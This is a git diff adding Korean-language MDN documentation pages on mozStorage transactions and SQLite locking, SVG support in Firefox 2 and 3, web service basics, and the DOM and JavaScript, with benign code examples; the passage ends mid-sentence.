또한 명시적으로 커밋하는 함수도 가지고 있습니다. 전형적인 용법은 롤백을 기본으로 하는 클래스를 생성하고 나서 처리가 성공하면 명시적으로 트랜잭션을 커밋하는 것입니다.

+ +
nsresult someFunction()
+{
+  // deferred transaction (the default) with rollback on failure
+  mozStorageTransaction transaction(mDBConn, PR_FALSE);
+
+  // ... use the connection ...
+
+  // everything succeeded, now explicitly commit
+  return transaction.Commit();
+}
+
+ +

데이터베이스를 손상하는 경우

+ + + + + + + + + + + + + +

SQLite 잠금

+ +

SQLite는 전체 데이터베이스를 잠급니다. 즉, 읽기 동작 중인 경우에 쓰기 시도는 SQLITE_BUSY를 반환하고, 쓰기 동작 중인 경우에 읽기 시도는 SQLITE_BUSY를 반환합니다. 구문은 첫 번째 step()부터 reset() 호출 때까지 동작 중인 것으로 간주합니다. execute()는 하나의 실행으로 step()과 reset()을 호출합니다. 흔한 문제는 step()하기를 마친 후에 reset() 구문을 빠뜨리는 것입니다.

+ +

주어진 SQLite 연결은 여러 구문을 동시에 열 수 있지만, 잠금 모델은 이 구문들이 동시에 처리할 수 있는 작업(읽기 또는 쓰기)을 제한합니다. 사실 여러 구문이 동시에 읽는 것은 가능합니다. 그러나 여러 구문이 같은 테이블을 동시에 읽고 쓰는 것은 불가능합니다. 이는 같은 연결에서 동작하더라도 마찬가지입니다.

+ +

SQLite는 연결 수준과 테이블 수준의 2층 잠금 모델을 가지고 있습니다. 많은 사람들이 연결(데이터베이스) 수준 잠금 모델에 대해서 잘 알고 있습니다. 이는 읽는 작업은 여럿이지만 쓰는 작업은 단 하나입니다. 테이블 수준(B-트리) 잠금은 가끔 헷갈리는 것입니다. (내부적으로 데이터베이스의 각 테이블은 자신의 B-트리를 가지고 있으므로 "테이블"과 "B-트리"는 기술적으로 동의어입니다).

+ +

테이블 수준 잠금

+ +

하나의 연결만 가지고 있고 그것이 쓰기 작업을 위하여 데이터베이스를 잠궜다면 원하는 작업을 처리하기 위해 여러 구문을 사용할 수 있다고 생각할 지도 모릅니다. 전적으로 그렇지는 않습니다. 여러분은 데이터베이스를 탐색 중인 구문 핸들(예를 들어, 열려 있는 SELECT 구문)이 관리하는 테이블(B-트리) 수준 잠금에 대해서 알아야 합니다.

+ +

일반적인 규칙은 다음과 같습니다. 구문 핸들은 다른 구문 핸들이 읽고 있는(열려 있는 커서가 있는) 테이블(B-트리)을 수정하지 않습니다. 구문 핸들이 다른 구문 핸들과 같은 연결(트랜잭션 문맥, 데이터베이스 잠금 등)을 공유하더라도 마찬가지입니다. 그러한 작업 시도는 여전히 차단됩니다(즉, SQLITE_BUSY를 반환합니다).

+ +

이 문제는 하나의 구문으로 테이블을 탐색(iterate)하고 다른 구문으로 그 안의 레코드를 수정하려고 할 때 자주 발생합니다. 이 작업은 제대로 동작하지 않습니다(또는 최적화 수행의 개입에 따라 동작하지 않을 가능성을 수반합니다(아래 참고)). 수정 구문은 차단되는데 읽기 구문이 테이블에 열린 커서를 가지고 있기 때문입니다.

+ +

잠금 문제 피하기

+ +

해결책은 위에서 설명한대로 (1)을 따르는 것입니다. 이론적으로 (2)는 SQLite 3.x에서 제대로 동작하지 않습니다. 이 시나리오에서는 여러 개의 연결에 대하여 테이블 잠금과 더불어 데이터베이스 잠금이 역할을 하게 됩니다. 연결 2(수정 연결)는 연결 1(읽기 연결)이 테이터베이스를 읽는 동안 그것을 수정할 수 없습니다. 연결 2는 수정하는 SQL 구문을 실행하기 위하여 배타적인 잠금이 필요한데, 연결 1이 데이터베이스를 읽는 구문을 가지고 있는 한 이를 얻을 수 없습니다(연결 1은 이 때 공유하는 읽기 잠금을 가지고 있는데 이는 다른 연결이 배타적인 잠금을 얻을 수 없도록 합니다).

+ +

다른 선택 사항은 임시 테이블을 이용하는 것입니다. 해당 테이블의 결과를 포함한 임시 테이블을 생성하고 (읽기 구문의 테이블 잠금을 임시 테이블에 두면서) 그것을 탐색하십시오. 그러면 수정 구문은 문제 없이 실제 테이블을 바꿀 수 있습니다. 이 작업은 하나의 연결(트랜잭션 문맥)에서 나온 구문으로 수행할 수 있습니다. 이 시나리오는 ORDER BY가 내부적으로 임시 테이블을 생성할 수 있는 것처럼 가끔 보이지 않게 일어나기도 합니다. 그러나 최적화 수행이 모든 경우에 이렇게 할 것이라고 가정하는 것은 안전하지 않습니다. 오직 명시적으로 임시 테이블을 생성하는 것이 후자의 선택 사항을 수행하는 안전한 방법입니다.

+ +

스레드 안전성

+ +

mozStorage 서비스와 sqlite는 스레드에 대해 안전합니다. 그러나 다른 mozStorage나 sqlite 개체나 작업은 스레드에 대해 안전하지 않습니다.

+ + + + + + + +

그러나, 자바스크립트 브라우저 확장 작성자는 처음 보기보다 이 제약의 영향을 덜 받는다는 사실에 주목할 만합니다. 자바스크립트 안에서 배타적으로 데이터베이스가 생성되고 이용되면 보통 스레드 안전성은 문제가 되지 않습니다. SpiderMonkey(파이어팍스의 자바스크립트 엔진)는 자바스크립트가 다른 스레드에서 실행되는 경우나 다른 스레드에서 만든 콜백에서 실행되는 경우를 제외하고 하나의 영구적인 스레드에서 자바스크립트를 실행합니다. 다중 스레드 자바스크립트의 잘못된 사용을 제외하면, 자바스크립트 스레드가 아닌 시스템 수준 스레드가 사용 중인 데이터베이스를 mozStorage를 통해 접근하는 경우에만 문제가 발생합니다.

+ +

참고

+ + + + diff --git a/files/ko/svg_improvements_in_firefox_3/index.html b/files/ko/svg_improvements_in_firefox_3/index.html new file mode 100644 index 0000000000..e64f1600bc --- /dev/null +++ b/files/ko/svg_improvements_in_firefox_3/index.html @@ -0,0 +1,56 @@ +--- +title: SVG improvements in Firefox 3 +slug: SVG_improvements_in_Firefox_3 +tags: + - Firefox 3 + - SVG +translation_of: Mozilla/Firefox/Releases/3/SVG_improvements +--- +

{{ Fx_minversion_header(3) }}

+

Firefox 3에서는 이전 버전에 비해 Scalable Vector Graphics (SVG)에 대한 향상된 지원을 제공합니다. 이러한 내용은 다른 곳에서도 문서화되어 있지만, Firefox 3에서 어떤 기능들이 추가되었는지 쉽게 찾아볼 수 있도록 본 글이 작성되었습니다.

+ +

참고

+ +
+  
+

{{ languages( { "en": "en/SVG_improvements_in_Firefox_3", "es": "es/Mejoras_SVG_en_Firefox_3", "fr": "fr/Am\u00e9liorations_SVG_dans_Firefox_3", "ja": "ja/SVG_improvements_in_Firefox_3", "pl": "pl/Poprawki_SVG_w_Firefoksie_3" } ) }}

diff --git a/files/ko/svg_in_firefox/index.html b/files/ko/svg_in_firefox/index.html new file mode 100644 index 0000000000..f8c31a2a8c --- /dev/null +++ b/files/ko/svg_in_firefox/index.html @@ -0,0 +1,845 @@ +--- +title: SVG in Firefox +slug: SVG_in_Firefox +tags: + - SVG +translation_of: Web/SVG/SVG_1.1_Support_in_Firefox +--- +

Firefox 2는 더욱 폭넓은 Scalable Vector Graphics (SVG) 기능 구현을 위해서 계속해서 향상시켜 나가고 있습니다. 많은 스펙과 버그 수정들이 포함되었지만 Firefox 1.5이후 새로이 추가된 유일한 특징이 바로 <textPath>입니다. -- 아래 참조.

+

Firefox SVG는 SVG 1.1의 부분집합이지만 그렇다고 공식 프로필(Tiny, Basic, Full)들중 어느 것도 아닙니다. 각 내용들과 그것들이 Firefox 2에서 구현되었는지 아닌지에 대한 전체 내용은 문서의 마지막에서 찾을 수 있습니다. 문서의 나머지 부분은 우리의 구현상 제약사항들에 대한 정보를 제공할 것입니다.

+

우리들의 구현의 특이한 점들이 컨텐츠를 개발함에 있어서 번거로울 수도 있다는 것을 알고 있습니다. 하지만 커다란 스펙의 완전한 구현이 될 때까지 여러분의 인내를 부탁드립니다.

+

이 문서를 읽을때 이들 구현들의 세부사항들이 언제 바뀔지 궁금해할지도 모릅니다. 불행히도 현재 로드맵에 따르면 Gecko의 다음 버전에 기반한 Firefox의 공식 출시일이 꽤 나중이 되겠지만 2007년 1/4분기라고 나와있습니다. 그러나 새로운 기능을 시험해보고 싶다면 현재 개발중인 nightly builds를 사용해볼 수 있습니다.

+

성능

+

Firefox가 출시하는 모든 플랫폼은 같은 렌더링 백엔드 cairo를 사용합니다. 그래서 이들 간에 성능에 관한 특징은 일반적으로 유사할 것입니다. Linux에서의 성능은 예측하기가 가장 힘든데 이는 다양한 X서버마다 RENDER 확장의 구현이 다양하기 때문입니다.

+

Windows에서 SVG 렌더링은 다른 플랫폼상에서 보다도 상당히 빠릅니다.

+

좌표 범위

+

당신의 컨텐츠가 상당히 넓은 범위의 좌표를 가지는 구조를 가지고 있다면 cairo가 내부적으로 계산할 때 수를 16.16비트의 고정 소수점 표현 방식을 사용하기 때문에 발생할 수 있는 문제점들에 대해서 주의 깊게 고려해야 합니다. Cairo는 rasterization하기 전에 primitives들에 대한 클리핑을 하지 않기 때문에 변환과정 후 최종적으로 -32678에서 32677의 범위를 벗어나는 좌표들에 대해서는 렌더링 오류나 아주 느린 성능을 보여주기도 합니다.

+

Windows 98에서의 Text

+

안타깝게도 윈도우즈에서 cairo를 렌더링 엔진으로 사용한다면 Windows 98에서 텍스트 렌더링이 되지않는 버그가 있다. 사실, 그것보다 더 심각한 문제가 있다 : SVG 컨텐츠를 렌더링하는 도중에 텍스트를 만나면 모든 그리기 기능이 정지되어버리는 것이다.

+

폰트 선택

+

CSS에 익숙하다면 특정 폰트에서 들어있지 않은 기호들의 경우 폰트 속성에서 예비 폰트들을 지정할수 있다는 것을 알고 있을 것입니다. 현재 SVG 렌더링 백엔드는 단지 지정된 첫번째 폰트를 사용하도록 시도하며 만약 그 폰트가 없다면 플랫폼의 폰트를 사용하게 됩니다. 예비 폰트는 사용되지 않습니다; 그래서 예를 들면 font-family="Arial,LucidaSansUnicode" 이 코드는 Arial 폰트를 사용할 수 없는 경우 LucidaSansUnicode가 사용되게끔 하는 것은 아닙니다.

+

인쇄

+

아쉽지만 현재 인쇄는 SVG의 벡터 속성을 이용해서 매우 선명하게 출력해내도록 하는 부분은 완료되지 않았습니다. 하지만 화면 해상도정도로 그려져서 그 이미지처럼 출력됩니다.

+

Windows상에서 출력했을 때 폰트의 크기는 SVG에서 지정된 것보다도 훨씬 크게 출력됩니다.

+

그룹 opacity

+

그룹 opacity 속성인 opacity는 SVG 컨테이너 객체들을 부분적으로는 투명한 레이어로 다루어질 수 있도록 해주며, fill-opacitystroke-opacity들과는 독립적인 속성입니다. 현재 opacity의 구현은 꽤 느려서, 참으면서 사용을 해야할 겁니다. fill-opacitystroke-opacity는 훨씬 빠르며 컨텐츠에 따라서 같은 결과를 만들어 낼 수도 있습니다.

+

그룹 opacity는 현재 <g>에만 구현되어 있으며 <text><svg>는 구현되어 있지 않습니다.

+

폰트 기울이기

+

Microsoft Windows나 Mac OSX 플랫폼상에서는 문장의 기울였을때 내부의 채워짐이 정확히 일치하지 않습니다. 이 오차는 보통 매우 작은데 약간 더 기울이거나 함으로써 해결할 수 있습니다. 이 오차에 대한 예입니다:

+

그림:그림-text-fill-stroke.png

+

<image>

+

<image>는 Firefox 1.5의 SVG 이미지들에는 지원되지 않습니다; 대신에 Firefox에서 사용되는 유일한 raster 이미지 포맷입니다.

+

<image>의 모든 인스터스들은 사용되는 이미지와는 별도의 복사본을 가지는데 이는 만약 컨텐츠내에 아이콘과 같은 이미지에 대해 다수의 복사본을 사용한다면 새겨두어야 할 부분입니다. 안타깝게도 이 경우에 <image><use>는 또 다른 다른 복사본으로 간주합니다.

+

덧붙여, Firefox 1.5에서는 SVG에서 다수의 raster 이미지를 사용하면 성능히 심각하게 떨어질 수 있습니다.

+

Events

+

We support the SVG event attributes with the exception of onfocusin, onfocusout, and onactivate.

+

Our onload handling is currently somewhat nonstandard, but hopefully not in a way that hurts its use. While the code specified by the onload attribute is called for each element, an SVGLoad event is only fired for the root <svg> element. Some DOM methods will return garbage or an error if called before the corresponding element has been rendered, which you may need to take into account when writing onload code. Such methods are getBBox, getScreenCTM, etc.

+

We do not support the Adobe specific key events (onkeydown, onkeyup).

+

Interoperability

+

If you're working with current SVG content, you may encounter problems loading it into Firefox. Most of the problems tend to be fairly trivial, and are the result of Firefox being a stricter implementation. Jonathan Watt's SVG Authoring Guidelines explains the common problems.

+

SVG usage situations

+

Firefox 1.5 handles SVG as entire documents or when referenced by embed, object, or iframe. It cannot currently be used as source for an HTML or XHTML img element or for CSS properties that take an image reference.

+

Animation

+

Firefox 1.5 does not implement declarative animation, but does support dynamic scripting. Doug Shepers has used this to create SmilScript, a small Javascript library that implements a subset of SVG's declarative animation.

+

Bugs fixed in Firefox 2

+

Firefox 2 fixes some bugs in its SVG implementation. This section provides a quick overview of the most interesting ones.

+ + + + + + + + + + + + + + +

Element implementation status

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ElementNotes
Structure Module
svg +
    +
  • Implemented.
  • +
  • currentScale and currentTranslate DOM attributes are implemented, but there is no pan and zoom user interface.
  • +
  • SVGSVGElement +
      +
    • Unimplemented attributes: contentScriptType, contentStyleType, viewport, useCurrentView, currentView
    • +
    • Unimplemented bindings: pauseAnimations, unpauseAnimations, animationsPaused, getCurrentTime, setCurrentTime, getIntersectionList, getEnclosureList, checkIntersection, checkEnclosure, deselectAll, createSVGAngle, getElementById
    • +
    +
  • +
+
g +
    +
  • Implemented.
  • +
+
defs +
    +
  • Implemented.
  • +
+
desc +
    +
  • Implemented.
  • +
  • Only stored in the DOM, no user interface.</td>
  • +
+
title +
    +
  • Implemented.
  • +
+
metadata +
    +
  • Implemented.
  • +
  • Only stored in the DOM, no user interface.</td>
  • +
+
symbol +
    +
  • Implemented.
  • +
+
use +
    +
  • Implemented.
  • +
  • Only works for internal document references (bug 269482).
  • +
  • Doesn't completely follow <svg:use> cascading rules (bug 265894).
  • +
  • Doesn't deliver events to a SVGElementInstance tree (bug 265895).
  • +
+
Conditional Processing Module
switch +
    +
  • Implemented.
  • +
+
Image Module
image +
    +
  • Implemented.
  • +
  • Only works for raster images (bug 272288).
  • +
+
Style Module
style +
    +
  • Implemented.
  • +
+
Shape Module
path +
    +
  • Implemented.
  • +
  • SVGPathElement Interface +
      +
    • Unimplemented attributes: pathLength, normalizedPathSegList, animatedPathSegList, animatedNormalizedPathSegList
    • +
    • Unimplemented bindings: getTotalLength, getPointAtLength, getPathSegAtLength
    • +
    +
  • +
  • SVGPathSegList Interface +
      +
    • Unimplemented bindings: replaceItem()
    • +
    +
  • +
+
rect +
    +
  • Implemented.
  • +
+
circle +
    +
  • Implemented.
  • +
+
line +
    +
  • Implemented.
  • +
+
ellipse +
    +
  • Implemented.
  • +
+
polyline +
    +
  • Implemented.
  • +
+
polygon +
    +
  • Implemented.
  • +
+
Text Module
text +
    +
  • Implemented.
  • +
  • SVGTextElement +
      +
    • Unimplemented attributes: rotate, textLength, lengthAdjust
    • +
    • Unimplemented bindings: getNumberOfChars, getSubStringLength, getStartPositionOfChar, getEndPositionOfChar, getRotationOfChar, getCharNumAtPosition, selectSubString
    • +
    • Bindings not functional at onload time: getExtentOfChar
    • +
    +
  • +
+
tspan +
    +
  • Implemented.
  • +
  • SVGTSpanElement +
      +
    • Unimplemented attributes: rotate, textLength, lengthAdjust
    • +
    • Unimplemented bindings: getNumberOfChars, getComputedTextLength, getSubStringLength, getStartPositionOfChar, getEndPositionOfChar, getExtentOfChar, getRotationOfChar, getCharNumAtPosition, selectSubString
    • +
    +
  • +
+
tref +
    +
  • Not implemented.
  • +
+
textPath +
    +
  • Implemented in Firefox 2.
  • +
  • Unimplemented attributes: method, spacing, textLength, lengthAdjust
  • +
+
altGlyph +
    +
  • Not implemented.
  • +
+
altGlyphDef +
    +
  • Not implemented.
  • +
+
altGlyphItem +
    +
  • Not implemented.
  • +
+
glyphRef +
    +
  • Not implemented.
  • +
+
Marker Module
marker +
    +
  • Implemented.
  • +
+
Color Profile Module
color-profile +
    +
  • Not implemented.
  • +
+
Gradient Module
linearGradient +
    +
  • Implemented.
  • +
+
radialGradient +
    +
  • Implemented.
  • +
+
stop +
    +
  • Implemented.
  • +
+
Pattern Module
pattern +
    +
  • Not implemented.
  • +
+
Clip Module
clipPath +
    +
  • Implemented.
  • +
  • Won't handle clip paths with have elements with different clip-rule properties or that reference other clipPaths. (bug 267224).
  • +
+
Mask Module
mask +
    +
  • Not implemented.
  • +
+
Filter Module
filter +
    +
  • Not implemented.
  • +
+
feBlend +
    +
  • Not implemented.
  • +
+
feColorMatrix +
    +
  • Not implemented.
  • +
+
feComponentTransfer +
    +
  • Not implemented.
  • +
+
feComposite +
    +
  • Not implemented.
  • +
+
feConvolveMatrix +
    +
  • Not implemented.
  • +
+
feDiffuseLighting +
    +
  • Not implemented.
  • +
+
feDisplacementMap +
    +
  • Not implemented.
  • +
+
feFlood +
    +
  • Not implemented.
  • +
+
feGaussianBlur +
    +
  • Not implemented.
  • +
+
feImage +
    +
  • Not implemented.
  • +
+
feMerge +
    +
  • Not implemented.
  • +
+
feMergeNode +
    +
  • Not implemented.
  • +
+
feMorphology +
    +
  • Not implemented.
  • +
+
feOffset +
    +
  • Not implemented.
  • +
+
feSpecularLighting +
    +
  • Not implemented.
  • +
+
feTile +
    +
  • Not implemented.
  • +
+
feTurbulence +
    +
  • Not implemented.
  • +
+
feDistantLight +
    +
  • Not implemented.
  • +
+
fePointLight +
    +
  • Not implemented.
  • +
+
feSpotLight +
    +
  • Not implemented.
  • +
+
feFuncR +
    +
  • Not implemented.
  • +
+
feFuncG +
    +
  • Not implemented.
  • +
+
feFuncB +
    +
  • Not implemented.
  • +
+
feFuncA +
    +
  • Not implemented.
  • +
+
Cursor Module
cursor +
    +
  • Not implemented.
  • +
+
Hyperlinking Module
a +
    +
  • Implemented as an XBL binding - object is not of type SVGAElement.
  • +
  • Only xlink:href, xlink:show, and xlink:target (as of Firefox 2) attributes implemented.
  • +
+
View Module
view +
    +
  • Not implemented.
  • +
+
Scripting Module
script +
    +
  • Implemented.
  • +
+
Animation Module
animate +
    +
  • Not implemented.
  • +
+
set +
    +
  • Not implemented.
  • +
+
animateMotion +
    +
  • Not implemented.
  • +
+
animateTransform +
    +
  • Not implemented.
  • +
+
animateColor +
    +
  • Not implemented.
  • +
+
mpath +
    +
  • Not implemented.
  • +
+
Font Module
font +
    +
  • Not implemented.
  • +
+
font-face +
    +
  • Not implemented.
  • +
+
glyph +
    +
  • Not implemented.
  • +
+
missing-glyph +
    +
  • Not implemented.
  • +
+
hkern +
    +
  • Not implemented.
  • +
+
vkern +
    +
  • Not implemented.
  • +
+
font-face-src +
    +
  • Not implemented.
  • +
+
font-face-uri +
    +
  • Not implemented.
  • +
+
font-face-format +
    +
  • Not implemented.
  • +
+
font-face-name +
    +
  • Not implemented.
  • +
+
definition-src +
    +
  • Not implemented.
  • +
+
Extensibility Module
foreignObject +
    +
  • Implemented, but not built.
  • +
+
+

{{ languages( { "fr": "fr/SVG_dans_Firefox_1.5", "ja": "ja/SVG_in_Firefox_1.5", "pl": "pl/SVG_w_Firefoksie" } ) }}

diff --git a/files/ko/the_basics_of_web_services/index.html b/files/ko/the_basics_of_web_services/index.html new file mode 100644 index 0000000000..c886028f1c --- /dev/null +++ b/files/ko/the_basics_of_web_services/index.html @@ -0,0 +1,35 @@ +--- +title: The Basics of Web Services +slug: The_Basics_of_Web_Services +tags: + - SOAP + - XML + - XML Web Services +translation_of: Archive/The_Basics_of_Web_Services +--- +

Summary: A current hot topic on the web right now are Web Services. This short guide will allow you to learn more about web services. +

+

기본

+

웹 서비스는 전혀 새로운 것이 아닙니다. 웹 사이트로부터 뉴스를 긁어오기 위해 RSS나 Atom 피드를 사용해 본 적이 있다면 웹 서비스가 어떻게 동작하는 지 알고 있는 것입니다. +

웹 서비스는 XML 형식을 사용해 요청을 전송하고 데이터를 주고 받습니다. 이를 통해 서버와 클라이언트는 서로를 알 수 있습니다. (XML Introduction). +

HTML form을 통한 서버 사이드 스크립트(PHP, ASP 등)와의 비교를 통해 웹 서비스를 좀 더 쉽게 이해할 수 있습니다. 웹 서비스나 HTML form 모두 요청을 주고 받습니다. 가장 큰 차이는 웹 서비스의 경우 XML을 사용한다는 것입니다. +

+

웹 서비스의 사례

+

위에서도 말했듯이 RSS나 Atom 피드는 웹 서비스의 간단한 예입니다. 일반적으로 서버와 클라이언트와의 통신을 위해 XML-RPC나 SOAP을 사용하기도 합니다. +

+

XML-RPC 소개

+

XML-RPC는 1998년부터 사용된 웹 서비스의 일종입니다. W3C의 공식 표준은 아니지만 널리 사용됩니다. XML-RPC는 마이크로소프트와 Useful Inc가 개발하였습니다. +

+

SOAP 소개

+

SOAP은 W3C의 표준으로 XML-RPC와 여러모로 비슷한 점이 많습니다. 마이크로소프트와 IBM에서 SOAP을 지원하고 있습니다. +

+

SOAP 혹은 XML-RPC?

+

간단히 말해 SOAP은 XML-RPC의 결점을 채우기 위해 만들어 졌습니다. 예를 들어 다차원 배열을 전송하는 데 SOAP이 XML-RPC 보다 더 쉽습니다. SOAP은 XML-RPC 보다 많은 기능을 갖고 있지만, XML-RPC 또한 나름대로의 사용 영역이 있습니다. +

+
+

문서 정보

+ +
+{{ languages( { "en": "en/The_Basics_of_Web_Services", "pl": "pl/Podstawy_Web_Services" } ) }} diff --git a/files/ko/the_dom_and_javascript/index.html b/files/ko/the_dom_and_javascript/index.html new file mode 100644 index 0000000000..b7d3de85bf --- /dev/null +++ b/files/ko/the_dom_and_javascript/index.html @@ -0,0 +1,115 @@ +--- +title: The DOM and JavaScript +slug: The_DOM_and_JavaScript +tags: + - DOM + - JavaScript +--- +

큰 그림

+ +

페이지 안 레이어 이동, 레이어, 팝업 메뉴 보이기와 감추기 등과 같은 비주얼 효과는 "DHTML"이나 "Dynamic HTML"로 자주 참조됩니다. 일부 사람들은 표현(presentation)이 아니라 내용(content)을 다루기로 된 웹 페이지에서 이런 기술의 실제 쓰임을 묻습니다. 하지만 오늘날 실제 쓰임은 그 물음에 있습니다.

+ +

내가 이 프로젝트에서 일하고 많은 웹마스터들과 연락한 뒤로, 웹 디자인 커뮤니티 대부분이 그들의 DHTML이 어떻게 동작하는 지 모른다는 사실이 생각났습니다. 대부분의 시간을 그들은 스크립트 저장소(repository) 사이트에 가서, 그들 웹 페이지에 그 코드를 그냥 복사하고 붙여넣습니다. 불행하게도 이들 사이트 대부분은 결코 "DOM"에 관해서는 이야기하지 않으면서 "javascript"와 "DHTML"은 이야기합니다. 비록 DOM이 오래된 개념이더라도 DOM이 최근에야 "평균 웹 디자이너 전문어(jargon)"의 부분이 되었다는 사실입니다.

+ +

그 사이트를 W3C DOM을 위해 코딩할 가치가 있다고 사이트 임자에게 납득시키기는 Mozilla 같은 프로젝트를 위한 큰 도전입니다. 이는 때때로 많은 작업과 예전 브라우저를 위한 지원을 중단함을 뜻합니다. 또한 W3C DOM을 위한 지원에 관해 곧바로 참모습을 알아내는 큰 도전입니다. Netscape 6은 Netscape 4와 document.layers와 document.all를 쓰는 Internet Explorer를 위해 그들의 "JavaScript"를 작성했던 어리석은 웹 디자이너들에게 많은 혹평을 받았습니다. 매일 우리는 그들의 사이트를 얻도록 뉴스그룹에서, 개인 email로, Bugzilla로 되도록 공손하게 사람들을 돕기 위해 힘씁니다. 우리가 부딪친 문제 가운데 가장 큰 것은 JavaScriptDHTML 그리고 DOM 사이의 혼동(confusion)입니다. 이 문서는 이를 정리하고 이 화려하고 쓸모 있는 기술 사이의 관계를 설명하려는 하나의 시도입니다.

+ +

JavaScript, 웹 스크립팅 언어

+ +

JavaScript은 Netscape Communications Corp에서 오늘날 Mozilla 프로젝트의 리더 가운데 한 명인 Brendan Eich가 처음 개발한 "object scripting language"입니다. Mozilla가 쓰는 JavaScript 엔진은 SpiderMonkey입니다. 이 엔진은 ECMA-262 개정 3 명세(specification)를 따릅니다. JavaScript는 또한 ECMAScript로 알려졌습니다(하지만 상세한 설명은 링크된 페이지를 보세요).

+ +

일반인의 오해와는 달리, JavaScript는 "Interpretive Java"가 아닙니다. 줄여 말하면, JavaScript는 개체 생성에 기반을 둔 원형(prototype)을 지원하는 dynamic scripting language입니다. 기본 구문(syntax)은 언어를 배우는 데 필요한 새로운 개념의 수를 줄이기 위해 Java와 C++ 둘 다와 개념에 있어 비슷합니다. JavaScript가 대단한 점은 혹시 여러분이 기본 프로그래밍(간단한 DHTML에서 필요한 것 같은)을 하고 싶은 경우 배우기 정말 쉽다는 점입니다. 불분명한 변수형, 정말 쓰기 쉬운 문자열, 전체 플랫폼 중립성(neutrality) 등. 또한 고급 코더들을 위해 개체 중심(object-oriented) 언어와 절차(procedural) 언어 둘 다로 기능합니다.

+ +

JavaScript에 관한 이 단락 대부분은 Mozilla JavaScript 페이지에서 가져왔음을 알게 됩니다. 가장 최근 ECMA 명세는 여기에서 찾습니다.

+ +

Document Object Model, 언어 중립 인터페이스 집합

+ +

JavaScript는 여러분이 DOM 개체를 운영(operate)하고 개체를 프로그램으로 조작(manipulate)하게 하는 프로그래밍 언어이지만, DOM은 여러분이 작업하는 문서의 부분을 검색(retrieve), 수정(modify), 갱신(update), 삭제(delete)하는 메소드(method)와 프로퍼티(property)를 제공합니다. 예를 들어, 여러분이 DOM을 써서 HTML textfield 값을 문자열로 검색할 지도 모릅니다. 그렇다면 여러분은 뜻있는 문장이 되도록 그 문자열을 다른 문자열에 연결(concatenate)하는 JavaScript "+" 연산자를 쓸 수 있습니다. 그리고 나서 여러분은 dialog에서 사용자에게 그 문자열을 표시하기 위해 DOM "alert()" 메소드를 씁니다. 또한 아래 예제를 보세요.

+ +

만약 웹페이지가 수입한 스웨덴 가구 한 점이라면, DOM은 선반, 나사못(bolt), Allen 렌치(wrench)와 드라이버 같은 각 부분의 도해입니다. 각 부분을 서로 조립하는 법과 많은 언어로 각 부분을 쓰는 법에 관한 명령 작성이 가능합니다. 하지만 여러분은 오직 여러분이 이해한 언어로 작성한 부분을 씁니다. 설명서는 실제 개체(브라우저의 렌더링 엔진)를 나타내는 개체의 도해(DOM)를 참조하는 작성 명령(JavaScript)을 써서 함께 가구를 만들기 쉽게 합니다. (유추한 Jonathan에게 감사를 올립니다!)

+ +

DOM에 있는 이 "언어 중립"이란 과대광고(hype)는 무엇일까요? DOM에 접근하는 데 쓰이는 유일한 언어가 JavaScript라면 왜 DOM이 언어 중립성을 띨까요? 글쎄요, 그것은 딱 맞지 않습니다. 예를 들어, Mozilla는 사용자 인터페이스를 위해 내부에 C++와 JavaScript로 작성된 DOM을 씁니다. 이를테면, 편집기는 Composer 모듈로 페이지를 작성(compose)할 때 여러분이 보는 HTML을 삽입(insert), 수정(modify), 삭제(delete)하기 위해 광범위하게 DOM을 씁니다. 다른 알려진 DOM 구현(implementation)은 아마도 Perl, Java, ActiveX, Python, 그리고 다른 것들을 포함합니다. 물론 이는 오직 DOM의 언어 중립성 덕분에 가능합니다.

+ +

DOM과 JavaScript - 무엇이 무엇을 하는가?

+ +

우리는 이 문서의 본론에 이르렀습니다. 각각 무엇을 할까요? 내 웹 페이지에 끼워 넣은(embed) 스크립트에서, DOM은 무엇이고 JavaScript는 무엇일까요? 간단한 예를 하나 더 자세히 보죠. 예는 우리가 "anchorTags"라고 부르는 NodeList에서 모든 <a> tag을 검색합니다. 그리고 나서 각 anchor tag(anchorTags NodeList의 각 요소)의 "href" 속성값을 경고(alert)로 띄웁니다.

+ +

파란색은 JavaScript, 빨간색은 DOM입니다.

+ +
var anchorTags = document.getElementsByTagName("a");
+for (var i = 0; i < anchorTags.length ; i++)
+{
+   alert("Href of " + i + "-th element is : " + anchorTags[i].href + "\n");
+}
+
+ +

설명

+ +

이 코드 조각(snippet)은 기본 JavaScript가 무엇인지, 그리고 DOM이 무엇인지를 보입니다.

+ +
+
var anchorTags =
+
이는 "anchorTags"로 부르는 JavaScript 변수를 만듭니다.
+
+ +
+
document.getElementsByTagName("a")
+
Document 인터페이스는 DOM1 Core에서 정의한 첫 번째 인터페이스이고 documentDocument 인터페이스를 구현하는 host 개체입니다. document는 여러분의 페이지에 있는 모든 것을 지닙니다.
+ DOM1 Core는 Document 인터페이스에 getElementsByTagName() 메소드를 정의합니다. 메소드는 그 함수에 pass되는 매개변수와 일치하는 모든 tag의 NodeList (노드를 지니는 DOM 고유 배열의 한 종류)에서 문서 소스에 나오는 순서대로 검색합니다. 따라서 이제 anchorTags 변수는 NodeList입니다.
+
+ +
+
;
+
기본 명령 끝(end-of-instruction) 쌍반점(쎄미콜론, semicolon). JavaScript 문법.
+
+ +
+
for (var i = 0; i <
+
프로그래밍 언어의 특징을 잘 나타내는 "for" 루프(loop). 이는 우리가 anchorTags NodeList에 포함된 각 노드를 샅샅이 거치게 합니다. 변수 "i"의 선언을 주의하세요. 역시 JavaScript.
+
+ +
+
anchorTags.length
+
DOM1 Core는 NodeList 인터페이스의 length 프로퍼티를 정의합니다. 프로퍼티는 NodeList에 포함된 노드수(정수)를 반환합니다. JavaScript 배열은 또한 length 프로퍼티도 있음을 덧붙입니다.
+
+ +
+
; i++) {
+
1씩 증가하는 전형적인 JavaScript 변수.
+
+ +
+
alert(
+
